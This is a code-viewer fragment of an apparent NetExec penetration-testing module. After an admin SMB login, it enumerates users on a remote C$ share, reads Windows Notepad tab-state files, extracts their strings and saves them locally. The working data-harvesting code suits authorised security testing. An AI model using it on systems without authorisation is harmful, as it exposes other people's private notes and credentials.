(self, context, connection)
| 122 | ] |
| 123 | |
| 124 | def on_admin_login(self, context, connection): |
| 125 | self.context = context |
| 126 | context.log.display("Searching for Notepad cache...") |
| 127 | for directory in connection.conn.listPath("C$", "Users\\*"): |
| 128 | found = 0 |
| 129 | if directory.get_longname() in self.false_positive or not directory.is_directory(): |
| 130 | continue |
| 131 | |
| 132 | # Path for Windows Notepad tab state files |
| 133 | notepad_dir = f"Users\\{directory.get_longname()}\\AppData\\Local\\Packages\\Microsoft.WindowsNotepad_8wekyb3d8bbwe\\LocalState\\TabState\\" |
| 134 | try: |
| 135 | for file in connection.conn.listPath("C$", f"{notepad_dir}\\*"): |
| 136 | if file.get_longname() not in self.false_positive and file.get_longname().endswith(".bin"): |
| 137 | file_path = f"{notepad_dir}{file.get_longname()}" |
| 138 | |
| 139 | # Read the binary file |
| 140 | meaningful_strings = self.read_and_decode_file(connection, context, file_path, directory.get_longname()) |
| 141 | |
| 142 | if meaningful_strings: |
| 143 | found += 1 |
| 144 | context.log.highlight(f"C:\\{file_path}") |
| 145 | |
| 146 | # Output content |
| 147 | content_lines = [] |
| 148 | |
| 149 | # First loop to handle meaningful strings |
| 150 | for string in meaningful_strings: |
| 151 | if bool(re.match(self.FILE_PATH_REGEX, string)): # Only needed if checking locally |
| 152 | # Read the file into a buffer |
| 153 | meaningful_strings = self.read_and_decode_file(connection, context, string[2:], directory.get_longname()) |
| 154 | |
| 155 | # Second loop to handle content inside the file |
| 156 | for string in meaningful_strings: |
| 157 | context.log.highlight(f"\t{string}") |
| 158 | content_lines.append(string) # Store the string value only |
| 159 | else: |
| 160 | context.log.highlight(f"\t{string}") |
| 161 | content_lines.append(string) # Store the string value only |
| 162 | |
| 163 | # Save to file |
| 164 | filename = f"{connection.host}_{directory.get_longname()}_notepad_tabstate_{found}.txt" |
| 165 | export_path = join(NXC_PATH, "modules", "notepad") |
| 166 | path = abspath(join(export_path, filename)) |
| 167 | makedirs(export_path, exist_ok=True) |
| 168 | |
| 169 | with open(path, "w+") as output_file: |
| 170 | output_file.write(f"Source: C:\\{file_path}\n\n") |
| 171 | output_file.write("\n".join(content_lines)) # Write strings line by line |
| 172 | context.log.success(f"Notepad tab state content written to: {path}") |
| 173 | except SessionError as e: |
| 174 | error = self.get_error_string(e) |
| 175 | if error == "STATUS_OBJECT_NAME_NOT_FOUND" or error == "STATUS_OBJECT_PATH_NOT_FOUND": |
| 176 | context.log.debug(f"Failed for user {directory.get_longname()}: {e}") |
| 177 | else: |
| 178 | context.log.fail( |
| 179 | f"Error enumerating shares: {error}", |
| 180 | color="magenta" if error in smb_error_status else "red", |
| 181 | ) |
nothing calls this directly
no test coverage detected